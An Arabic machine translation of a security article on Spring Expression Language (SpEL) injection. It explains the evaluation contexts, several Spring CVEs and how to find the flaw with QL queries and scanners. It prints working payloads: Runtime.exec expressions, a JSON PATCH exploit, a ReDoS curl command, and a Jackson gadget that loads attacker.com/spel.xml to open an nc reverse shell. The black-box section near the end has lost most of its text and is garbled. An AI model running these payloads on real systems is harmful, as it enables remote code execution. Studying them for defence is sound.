حقن لعبة


مقدمة


في عملية العمل والبحث في مختلف الخدمات ، يمكننا تلبية إطار الربيع بشكل متزايد. والخطوة المنطقية هي التعرف على هيكلها ونقاط الضعف المحتملة.


الأكثر إثارة للاهتمام لأي Pentester هي نقاط الضعف التي تؤدي إلى تنفيذ التعليمات البرمجية.


طريقة واحدة للحصول على RCE في الربيع هي حقن تعبيرات SpEL.


سنحاول في هذه المقالة فهم ما هو SpEL ، وأين يمكن العثور عليه ، وما هي ميزات الاستخدام وكيفية العثور على هذه الحقن.


ماذا؟


SpEL هي لغة تعبير تم إنشاؤها لـ Spring Framework تدعم الاستعلام وإدارة الرسوم البيانية للكائنات في وقت التشغيل.
من المهم أيضًا ملاحظة أنه تم إنشاء SpEL كواجهة برمجة تطبيقات تتيح لك دمجها في التطبيقات والأطر الأخرى.


أين يمكنني أن ألتقي؟


من المنطقي أن يتم استخدام Spring Framework SpEL طوال الوقت. من الأمثلة الجيدة على Spring Security ، حيث يتم تعيين الحقوق باستخدام تعبيرات SpEL:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


أباتشي الجمل يستخدم SpEL API فيما يلي أمثلة من وثائقها.
تشكيل الحروف باستخدام تعبيرات SpEL:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

أو يمكنك استخدام قاعدة من ملف خارجي ، على سبيل المثال ، لتحديد رأس:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

فيما يلي بعض الأمثلة التي تمت مشاهدتها على GitHub:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



إطار الربيع وأساسيات SpEL


لتسهيل على القارئ فهم ماهية حقن SpEL ، عليك أن تعرف Spring و SpEL قليلاً.


عنصر الربيع الأساسي هو حاوية الربيع. تقوم الحاوية بإنشاء كائنات ، وربطها معًا ، وتكوينها وإدارتها من الإنشاء إلى التدمير.


للتحكم في المكونات التي تشكل التطبيق ، يستخدم Spring Container
حقن التبعية. هذا عندما يتم تكوين الكائنات باستخدام كيانات خارجية تسمى Spring Beans - تسمى العامية "beans".


يسترجع Spring Container بيانات تعريف التكوين من الحبة المطلوبة للحصول على المعلومات التالية: تعليمات حول الكائنات التي يجب إنشاء مثيل لها وكيفية تكوينها من خلال البيانات الأولية.


يمكن الحصول على البيانات الوصفية بثلاث طرق:


  • XML
  • التعليقات التوضيحية Java
  • كود جافا

والنقطة المهمة الأخرى بالنسبة لنا هي سياق التطبيق.


ApplicationContext هي الواجهة الرئيسية في تطبيق Spring الذي يوفر معلومات تكوين التطبيق. إنه للقراءة فقط في وقت التشغيل ، ولكن يمكن إعادة تحميله إذا لزم الأمر ودعمه من قبل التطبيق. يتوفر عدد الفئات التي تقوم بتطبيق واجهة ApplicationContext للعديد من معلمات التكوين وأنواع التطبيقات. في الواقع ، هو تطبيق الربيع نفسه. يوفر السياق أيضًا القدرة على الاستجابة لمختلف الأحداث التي تحدث داخل التطبيق ، والتحكم في دورة حياة الفاصوليا.



الآن دعنا نتطرق مباشرة إلى طرق تحديد حبة واستخدام تعبيرات SpEL.


Bean.xml


مثال على الاستخدام النموذجي هو دمج SpEL في إنشاء XML أو تعريفات مشروحة لمكونات الفول:


 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

فيما يلي جزء من التعليمة البرمجية في ملف Bean.xml ، لواحد فقط من بينه. يجدر الانتباه إلى معرف الصندوق ، والذي يمكن من خلاله الوصول إليه ، وإلى الممتلكات. بسبب كجزء من هذه المقالة ، نحن نفكر في إمكانية استخدام SpEL ، ثم في المثال التالي ، سيتم إعطاء عدة خيارات لكتابة هذه التعبيرات.


للإشارة إلى Spring أن تعبيرات SpEL تأتي بعد ذلك ، يتم استخدام الحرف # ، والتعبير نفسه محاط بأقواس: #{SpEL_expression} . يمكن الرجوع إلى الخصائص باستخدام الحرف ${someProperty} اسم الخاصية بأقواس: ${someProperty} . لا يمكن أن تحتوي العناصر النائبة للملكية على تعبيرات SpEL ، ولكن يمكن أن تحتوي التعبيرات على مراجع خصائص:


 "#{${someProperty}" 

وبالتالي ، يمكنك الاتصال بأي فئة من فئات Java التي نحتاجها أو ، على سبيل المثال ، الوصول إلى متغيرات البيئة ، والتي قد تكون مفيدة لتحديد اسم المستخدم أو إصدار النظام.


تتمثل راحة هذه الطريقة في إعداد الفاصوليا في القدرة على تغييرها دون إعادة ترجمة التطبيق بالكامل ، وبالتالي تغيير سلوك التطبيق.


من التطبيق نفسه ، يمكنك الوصول إلى هذه الحبة باستخدام واجهة ApplicationContext ، كما هو موضح أدناه:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

أي داخل التطبيق ، نحصل ببساطة على قيم معلمات bin التي تحتوي على تعبيرات SpEL. Spring ، بعد أن تلقى مثل هذه القيمة ، ينفذ التعبير ويعيد النتيجة النهائية. أيضًا ، لا تنسَ أن هذا الرمز لن يعمل بدون الحروف المقابلة ، لكن وصفه يتجاوز نطاق المقالة.


هناك طريقة أخرى لتحديد الفاصوليا هي طريقة التعليق التوضيحي AnnotationBase - يتم تعيين قيم المعلمات داخل التعليق التوضيحي لبعض الفئات. في هذه الحالة ، استخدام المتغيرات غير ممكن.


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

لتتمكن من استخدام المتغيرات ، عند إنشاء تعبيرات SpEL ، نحتاج إلى استخدام واجهة ExpressionParser. ثم تظهر فئة في رمز التطبيق ، على غرار المثال التالي:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

يقوم ExpressionParser بتحويل تعبير سلسلة إلى كائن تعبير. وبالتالي ، يمكن الحصول على قيمة التعبير الذي تم تحليله في إطار ContentContext. سيكون EvaluationContext هذا هو الكائن الوحيد الذي ستتوفر منه جميع الخصائص والمتغيرات في سلسلة EL.


تجدر الإشارة إلى حقيقة أخرى مهمة. باستخدام طريقة SpEL هذه ، نحتاج فقط إلى تعبير السلسلة لاحتواء # إذا ، بالإضافة إلى التعبير نفسه ، فإنه يحتوي على حرفية السلسلة.


من كل ما سبق ، يجدر تذكر شيئين:
1) إذا كان من الممكن البحث عن طريق رمز التطبيق ، فأنت بحاجة إلى البحث عن هذه الكلمات الرئيسية: SpelExpressionParser و EvaluationContext و parseExpression.
2) مؤشرات مهمة لـ Spring #{SpEL} و ${someProperty} و T(javaclass)
إذا كنت ترغب في قراءة المزيد حول Spring و SpEL ، نوصيك بالاهتمام بمستندات docs.spring.io .


ماذا يمكن أن تفعل لعبة؟


وفقًا للوثائق ، يدعم SpEL الوظائف التالية:


  • التعبيرات الحرفية
  • العوامل المنطقية والعلائقية
  • التعبيرات العادية
  • تعبيرات الصف
  • الوصول إلى الخصائص والمصفوفات والقوائم والخرائط
  • طريقة الاحتجاج
  • العوامل العلائقية
  • الاحالة
  • استدعاء المنشئات
  • مراجع الفول
  • بناء صفيف
  • قوائم مضمنة
  • خرائط مضمنة
  • المشغل الثلاثي
  • المتغيرات
  • وظائف محددة من قبل المستخدم
  • جمع الإسقاط
  • اختيار المجموعة
  • التعبيرات المعبدة

كما نرى ، فإن وظيفة SpEL غنية جدًا ، وهذا يمكن أن يؤثر سلبًا على أمان المشروع إذا دخل المستخدم في ExpressionParser. لذلك ، ينصح Spring نفسه باستخدام ، بدلاً من StandardEcalutionContext كامل الوظائف ، SimpleEvaluationContext أكثر تجريدًا.


باختصار ، من الأهمية بالنسبة لنا ، لا تملك SimpleEvaluationContext القدرة على الوصول إلى فئات Java والإشارة إلى الفاصوليا الأخرى.


من الأفضل استكشاف وصف كامل للميزات على موقع الوثائق:
StandardEvaluationContext
SimpleEvaluationContext


تعتمد بعض التصحيحات على الاختلاف في وظيفة SpEL ، والتي تعمل في سياقات مختلفة ، لكننا سنتحدث عن ذلك لاحقًا.


لجعل كل شيء واضحًا حقًا ، نقدم مثالاً. لدينا خط ضار بشكل واضح يحتوي على تعبير SpEL:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

وهناك سياقان:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

و


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

Expion exp = parser.parseExpression (inj)؛
java exp.getValue(std_c); - سيتم إطلاق الآلة الحاسبة
java exp.getValue(simple_c); - سنصلك رسالة خطأ


نقطة مثيرة للاهتمام هي أنه يمكننا البدء في معالجة التعبير دون تحديد أي سياق على الإطلاق: exp.getValue();
في هذه الحالة ، سيتم تنفيذ التعبير ضمن السياق القياسي ، ونتيجة لذلك ، سيتم تنفيذ التعليمات البرمجية الضارة. لذلك ، إذا كنت مبرمجًا وتستخدم Spring - لا تنس أبدًا تعيين السياق الذي يجب أن يتم تنفيذ التعبير به.


قلنا قبل قليل أن بعض التصحيحات مبنية على الاختلافات بين قدرات SpEL ضمن السياقات. النظر في مثال على هذا الإصلاح.


CVE 2018-1273 بيانات الربيع العامة
تم العثور على مشكلة عدم الحصانة هذه في طريقة setPropertyValue واستندت إلى مشكلتين:
1) عدم كفاية الصرف الصحي لقيم المتغير الذي يقع في ExpressionParser.
2) تنفيذ التعبير في إطار السياق القياسي.


فيما يلي لقطة شاشة للجزء الضعيف من الشفرة:



بسبب لم يتطلب اسم الخاصية معالجة معقدة داخل إطار عمل SpEL ؛ كان الحل المنطقي هو استبدال السياق ، مما أدى إلى الكود التالي:



تعرض لقطات الشاشة أجزاء الكود التي تحدد السياق والتعبير الذي سيتم تنفيذه. لكن تنفيذ التعبير يحدث في مكان آخر:


 expression.setValue(context, value); 

من هنا يتم الإشارة إلى أننا ننفذ تعبير SpEL لقيمة القيمة في السياق المحدد.
ساعد استخدام SimpleEvaluationContext على الحماية من تطبيق Java Class في parseExpression ، والآن بدلاً من تنفيذ التعليمات البرمجية في سجل الخادم ، سنرى خطأ:


 Type cannot be found 'java.lang.Runtime' 

ولكن هذا لم يحل المشكلة مع عدم وجود الصرف الصحي الكافي والاحتفاظ بالقدرة على شن هجوم redos:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

لذلك ، تضمن الإصلاح التالي بالفعل تطهير اسم المعلمة.


من النظرية إلى الممارسة!


الآن دعونا نلقي نظرة على عدة طرق للبحث عن حقن SpEL باستخدام طريقة White Box.


خطوة بخطوة CVE-2017-8046


تحتاج أولاً إلى العثور على مكان لمعالجة تعبيرات SpEL. للقيام بذلك ، يمكنك ببساطة استخدام توصيتنا والبحث عن الكلمات الرئيسية في الكود. تذكر هذه الكلمات: SpelExpressionParser و EvaluationContext و parseExpression.


خيار آخر هو استخدام الإضافات المختلفة للعثور على أخطاء في الكود. حتى الآن ، كان البرنامج المساعد الوحيد الذي يشير إلى حقن SpEL المحتمل هو findecbugs-cli.
https://github.com/find-sec-bugs


لذلك ، وجدنا المكان الذي نحن مهتمون به في الكود. دعنا نقول باستخدام findecbugs-cli:



في رمز التطبيق ، سنرى ما يلي:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

الخطوة التالية هي معرفة أين يحصل متغير المسار في محلل التعبير. إحدى الطرق المريحة والمجانية هي استخدام وظيفة IntelijIdea IDE - تحليل تدفق البيانات:



عن طريق فك السلسلة ، على سبيل المثال ، لاستبدال ودراسة الطرق والفصول المحددة ، نحصل على ما يلي:


تأخذ طريقة ReplaceOperation قيمة متغير المسار.


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

وللاستدعاء طريقة الاستبدال ، تحتاج إلى تمرير المتغير "op" بالقيمة "استبدال" إلى JSON.


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

وبالمثل ، نجد جميع الأماكن التي يمكن للمستخدم من خلالها تمرير القيمة التي يحتاجها إلى متغير المسار. وبعد ذلك سيبدو أحد خيارات الاستغلال الخاصة بالثغرة الأمنية كما يلي:
طريقة الطلب: التصحيح
طلب الجسم:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

باستخدام LGTM QL


يعد استخدام LGTM QL (لأغراض هذه المقالة ، ببساطة تقليله إلى QL) طريقة أخرى مثيرة للاهتمام للبحث عن الثغرات الأمنية.
https://lgtm.com


يجب أن ينص على الفور افتقاره. مجانًا ، يمكنك تحليل المشروعات الموجودة في مستودعات مفتوحة على GitHub ، لأن لالتقاط صورة للمشروع ، يقوم LGTM بتحميل المشروع على خادمه ويقوم بتجميعه هناك. ولكن إذا لم يزعجك ذلك ، فسوف يفتح LGTM QL فرصًا كبيرة لك في تحليل رمز التطبيق.


فما هو تحليل تطبيق QL؟


لتبدأ ، كما قلنا بالفعل ، ستحتاج إلى إنشاء لقطة للتطبيق.


عندما تكون اللقطة جاهزة ، وقد يستغرق ذلك عدة ساعات ، يمكنك البدء في كتابة استعلام يشبه SQL كجزء من بناء جملة QL. للقيام بذلك ، يمكنك استخدام البرنامج المساعد لـ Eclipse أو التصرف مباشرة في وحدة التحكم في صفحة QL الخاصة بالمشروع.


بسبب الآن نحن نفكر في Spring ، وهذا هو الإطار لجافا ، ستحتاج إلى وصف درجة الاهتمام لك والطريقة من هذه الفئة ، والتي تعتبر نداءها ضعيفًا. بالنسبة لنا ، هذا هو أي فئة تحتوي على طريقة تستدعي ExpressionParser.


بعد ذلك نقوم باختيار كل الطرق التي تلبي متطلباتنا ، على سبيل المثال ، عن طريق وصف حدوث متغير في طريقة من شأنها التعقيم وحالة عدم الوقوع في هذه الطريقة.



لذلك ، ما الذي يجب القيام به للعثور على الضعف CVE 2018-1273؟
بعد تلقي صورة المشروع وتوصيلها ، نستخدم وحدة التحكم في QL لوصف شجرة الاتصال التي تهمنا. للقيام بذلك:
وصفنا فئة محلل Expression:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

والأساليب التي يمكن استخدامها للتنفيذ داخل فئة ExpressionParser:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

أنت الآن بحاجة إلى ربط هذه الأوصاف مع بعضها البعض وتحديد:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

سيقوم هذا الاستعلام بإرجاع كافة الطرق بدءًا من التحليل أو بالاسم doParseExpression الذي ينتمي إلى فئة ExpressionParser. لكن هذا كثير ، كما تقول ، وسوف تكون على حق. مرشح مطلوب.


بسبب في الكود هناك تعليق على النموذج:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

يمكن أن يكون ذلك ، على سبيل المثال ، البحث عن "المسار" في جافادوك. تعليق الربيع على الكود الخاص به بجودة عالية جدًا ، ويمكننا العثور على مكالمات الطريقة مع التعليق اللازم ، وفي الوقت نفسه إزالة جميع الطرق المضمنة في الاختبارات. كل هذا يمكن وصفه على النحو التالي:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

بعد ذلك ، للجمع بين الفصل والأساليب والتصفية بواسطة Javadoc ، سيأخذ استعلام التحديد النموذج التالي:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

يمكن اعتبار هذا المثال بسيطًا وعمومًا لا لزوم له للبحث عن ثغرة أمنية محددة. أكثر إثارة للاهتمام هو البحث عن الأخطاء عند كتابة الإصلاح ، لأن في ذلك ، تحتاج إلى تحديد الفئة نفسها ، المسؤولة عن التحقق ، والطرق التي تسميها دائمًا والتي يتم تنفيذها قبل التحقق منها.


استدعاء لطريقة تستدعي checkPath دائمًا:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

استدعاء لأسلوب يتم تنفيذه قبل checkPath:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

النظر في نقطة ضعف أخرى مثيرة للاهتمام. فهمها مهم جدا ، لأنه يوضح أن الخطأ قد يكون في مكتبة تابعة لجهة خارجية ، ويوضح كيف يمكن استخدام الفاصوليا المشروحة XML.


جاكسون والفاصوليا


يعتمد CVE-2017-17485 على استخدام FileSystemXmlApplicationContext - إنه سياق تطبيق مستقل في شكل XML ، يتلقى ملفات تعريف السياق من نظام الملفات أو من URL.


وفقًا للوثائق ، يسمح لك هذا بتحميل الفاصوليا من ملف وإعادة تحميل سياق التطبيق.
"... إنشاء FileSystemXmlApplicationContext جديد ، وتحميل التعريفات من ملفات XML المحددة وتحديث السياق تلقائيًا"


Jackson هي مكتبة تتيح لك إجراء تسلسل وتصفية أي كائنات باستثناء تلك المدرجة في القائمة السوداء. وغالبا ما تستخدم هذه الفرصة من قبل المهاجمين. في حالة مشكلة عدم الحصانة هذه ، كان على المهاجم تمرير كائن org.springframework.context.support.FileSystemXmlApplicationContext بقيمة تحتوي على المسار إلى الملف الذي يتحكم فيه المهاجم.


أي في نص الطلب ، يمكنك اجتياز JSON التالي:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

سوف يحتوي Spel.xml على معلمات حاوية:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

بسبب نظرًا لأننا استخدمنا فئة bean java.lang.ProcessBuilder ، والتي لديها طريقة البدء ، بعد إعادة تحميل السياق ، فإن Spring يقرأ التعبير الذي يبدأ ProcessBuilder من خاصية SpEL ، مما يجبر الخادم على الاتصال بنا باستخدام nc.


يجدر الانتباه إلى spel.xml المعطى كمثال ، مثل يوضح كيفية تمرير المعلمات عند تشغيل الأمر.


وبأي طريقة أخرى يمكننا تحميل الفول لدينا أو إعادة تحميل السياق؟


حتى مع إلقاء نظرة سريعة على وثائق Spring ، يمكنك العثور على المزيد من الفصول التي قد تكون مفيدة لنا.


تشبه ClassPathXmlApplicationContext و AbstractXmlApplicationContext نظام FileSystem ، لكن الفاصوليا تعليقات ClassPath و XML تستخدم كمسار للتكوين ، على التوالي.


هناك نقطة أخرى مثيرة للاهتمام تتعلق بإعادة تحميل السياق -RefreshScope.


سيتم تحديث أي Spring Bean مشروح معRefreshScope في وقت الإطلاق. وستتلقى جميع المكونات التي تستخدمها كائنًا جديدًا في المرة التالية التي يتم فيها استدعاء هذه الطريقة ، وسيتم تهيئتها بالكامل وإدخالها وفقًا.


RefreshScope هو مكون في السياق ، وله طريقة تحديث عامة بالكامل مصممة لتحديث جميع المكونات في منطقة بمسح ذاكرة التخزين المؤقت الهدف. لذلك ، عند استخدامRefreshScope ، يمكن للمستخدم الوصول إلى عنوان URL الذي ينتهي بـ / التحديث ، وبالتالي إعادة تحميل الفول المشروح.


المرافق الأخرى


هناك العديد من المكونات الإضافية والبرامج الأخرى التي تسمح لك بتحليل الشفرة والعثور على الثغرة الأمنية.


  • يتم تثبيت Jprofiler - كتطبيق منفصل - الخادم والبرنامج المساعد ل IDE. يسمح لك بتحليل تطبيق قيد التشغيل. أنها مريحة للغاية لتحليل سلوك الأشياء من خلال الرسوم البيانية.


من السلبيات - مدفوعة ، ولكن لديها فترة حرة من 10 أيام. يعتبر أحد أفضل الأدوات المساعدة لتحليل سلوك التطبيق ، ليس فقط من وجهة نظر الأمان.


  • Xrebel - المدفوعة ، لم نجد إمكانية فترة تجريبية. ولكن تعتبر أيضا واحدة من الأفضل.
  • Coverity - يستخدم خوادمه الخاصة للتحليل ، وبالتالي فهو مناسب فقط لأولئك الذين لا يخشون وضع التعليمات البرمجية الخاصة بهم.
  • Checkmarx - مشهورة جدا ، مدفوعة الأجر ، يعرف العديد من اللغات ومقالب الكثير من إيجابية كاذبة. لكن من الأفضل الإشارة إلى المكان الذي قد يكون للنظرية خطأ فيه تفويت الخطأ الحقيقي.
  • التحقق من تبعية OWASP - تم توفيره كبرنامج إضافي مناسب لبناة مختلفين. لقد نجحنا في اختباره من أجل Maven و Ant عند تحليل تطبيق Java. كما يدعم. وفقًا لنتائج العمل ، فإنه يوفر تقريرًا مناسبًا يشير إلى المكتبات القديمة ونقاط الضعف المعروفة لها.
  • Findbugs - وقد سبق ذكره في وقت سابق. يحتوي على العديد من التطبيقات ، لكن خيار findbugs_cli تبين أنه الأكثر ملاءمة ولسبب ما إظهار المزيد من المشكلات. يمكن استخدامه على النحو التالي:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
  • LGTM QL - تم تقديم مثال لاستخدامه بالفعل من قبل. نود أن نقول بشكل منفصل أن هناك أيضًا حالة استخدام مدفوعة الأجر ، وبعد ذلك ستتلقى خادمًا محليًا لتحليل الشفرة الخاصة بك.
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans — Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : “ , Spring, SpEL injection?”


, CVE, . , , github.


, , SpEL Expression. أي (, ) , .


أي . , , “” .

Source: https://habr.com/ru/post/ar433034/


All Articles